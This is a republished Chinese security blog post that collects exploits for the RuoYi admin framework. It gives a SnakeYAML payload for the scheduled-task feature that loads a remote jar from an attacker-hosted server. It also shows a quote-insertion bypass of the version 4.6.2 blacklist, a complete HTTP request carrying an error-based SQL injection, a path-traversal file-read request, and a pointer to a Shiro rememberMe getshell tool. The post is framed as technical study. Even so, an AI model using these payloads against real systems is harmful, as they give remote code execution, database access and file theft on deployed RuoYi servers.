若依系统前后台漏洞大全
2023-3-7 21:49:14 Author: Z2O安全攻防(查看原文) 阅读量:229 收藏

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。

若依系统前后台漏洞大全


0.若依项目搭建

0.1修改/获取项目启动端口

4fa9f853139bece3a38e80911c209688

0.2创建数据库

启动mysql服务,并创建数据库 ry

bae68a7f848b80dd719a20a8f3a92ae0

之后在将这两个SQL文件导入到ry数据库中

d227fc1f04c62126b2b46f1dd4cfcfcd

0.3修改连接数据库的用户名和密码

接着修改连接数据库的用户名和密码

4fa9f853139bece3a38e80911c209688-1677163359983

然后用idea启动即可

f1f0e358cc0bfed1f5e33b28d73d246e

1.后台-定时任务-RCE

1.1漏洞简介RuoYi<4.6.2

漏洞影响范围RuoYi<4.6.2
简要描述:由于若依后台计划任务处,对于传入的"调用目标字符串"没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。

1.2漏洞利用步骤

这个跟springboot的Actuator配置不当引起的rce很类似
也是让其远程加载一个yml文件.

接下来具体操作一下…

下载payload

https://github.com/artsploit/yaml-payload
4e418ff8db526d9e82fea80d9ec85b30

(mspaint为打开画图板)
我们切换目录

5773d932fa593e0c3c3f9fce55940759

编写yaml-payload.yml文件(没有的话,自己创建即可)

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://your-vps-ip/example.jar"]
  ]]
]
dabb2009dc56a196e16cad5dca916184

然后在该目录下打开powershell 或 命令提示框

d5ad93bd6762464050d3c60430121d88

然后输入命令

    javac src/artsploit/AwesomeScriptEngineFactory.java    //编译java文件

    jar -cvf yaml-payload.jar -C src/ .             //打包成jar包

然后就会生成一个 yaml-payload.jar的jar包

注意第二个命令 yam-payload.jar的jar包要与 yaml-payload.yml访问的jar包名称一一对应
至此,我们的payload已经修改完成了

这里有,java1.8编写好的paylaod

https://lmpan.lmboke.com/yaml-payload-master%282%29.zip

okk,这里咱们直接用python开启一个简单的http服务

1

我们进入若依 的后台页面之后添加一个定时任务

2

然后添加payload

3
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://攻击机ip/yaml-payload.jar"]]]]')

不止这一种方法,我们现在用的是snakeyaml方式,这个我比较熟
另外两种方式,好像有

4

然后添加cron表达式:

5
0/10 * * * * ?

这个cron就跟linux定时任务一样,定义每天/每周/等,定时启动的时间

配置好之后,并不会启动定时任务

6
7

(尽量使用"执行一次"检验)

执行之后,即可执行命令 mspaint(弹出画图板)

8

1.3版本4.6.2<=Ruoyi<4.7.2

这个版本采用了黑名单限制调用字符串

  • • 定时任务屏蔽ldap远程调用

  • • 定时任务屏蔽http(s)远程调用

  • • 定时任务屏蔽rmi远程调用

9

Bypass
咱们只需要在屏蔽的协议加上单引号,接着采用之前的方式
例如:

org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“h’t’t’p’://127.0.0.1:88/yaml-payload.jar”]]]]’)

加引号

11

2.后台-SQL注入 Ruoyi<4.6.2

我们访问下图所示的菜单

12

然后刷新,拦截,改包

13
POST /system/role/list HTTP/1.1
Host: 127.0.0.1
User-Age
nt: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 181
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/system/role
Cookie: UMK8_2132_ulastactivity=fdf6lh5P4KaIR7rPwncVmGmx5z2ymLLNz3o33msgkFJlQ1SdH%2FhR; UMK8_2132_lastcheckfeed=1%7C1637287051; UMK8_2132_nofavfid=1; JSESSIONID=d9eca4a4-7fcd-41ba-9888-75e7c73dc9bf
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

14

(即可触发报错注入,获取数据库名称)

3.后台-任意文件读取 Ruoyi<4.5.1

15
GET /common/download/resource?resource=/profile/../../../../../../../.txt HTTP/1.1

(我在D盘的根目录创建一个.txt文件,其内容为"这是D盘")

4.前台-shiro-RCE

shiro是若依的其中一个组件,咱们使用shiro的经典rememberMe漏洞来getshell

下面使用工具

16

(这个工具挺好用,还能冰蝎/蚁剑之类的吗,从而getshell)

回复“20230307" 获取下载地址


本文转自 https://www.lmboke.com/archives/ruo-yi-xi-tong-qian-hou-tai-lou-dong-da-quan.html,如有侵权,请联系删除。

技术交流

知识星球

致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。

涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 200+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。

交流群

关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

关注我们

关注福利:

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

回复“资料" 获取 网络安全、渗透测试相关资料文档

往期文章

我是如何摸鱼到红队的

命令执行漏洞[无]回显[不]出网利用技巧

MSSQL提权全总结

Powershell 免杀过 defender 火绒,附自动化工具

一篇文章带你学会容器逃逸

域渗透 | kerberos认证及过程中产生的攻击

通过DCERPC和ntlmssp获取Windows远程主机信息


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247492862&idx=1&sn=37d01ca83a31132164f5392f47637101&chksm=ceab0fbef9dc86a8e481dacf87defbeaf0896a7f92050075054a6618688be5c558de5fda86bc#rd
如有侵权请联系:admin#unsafe.sh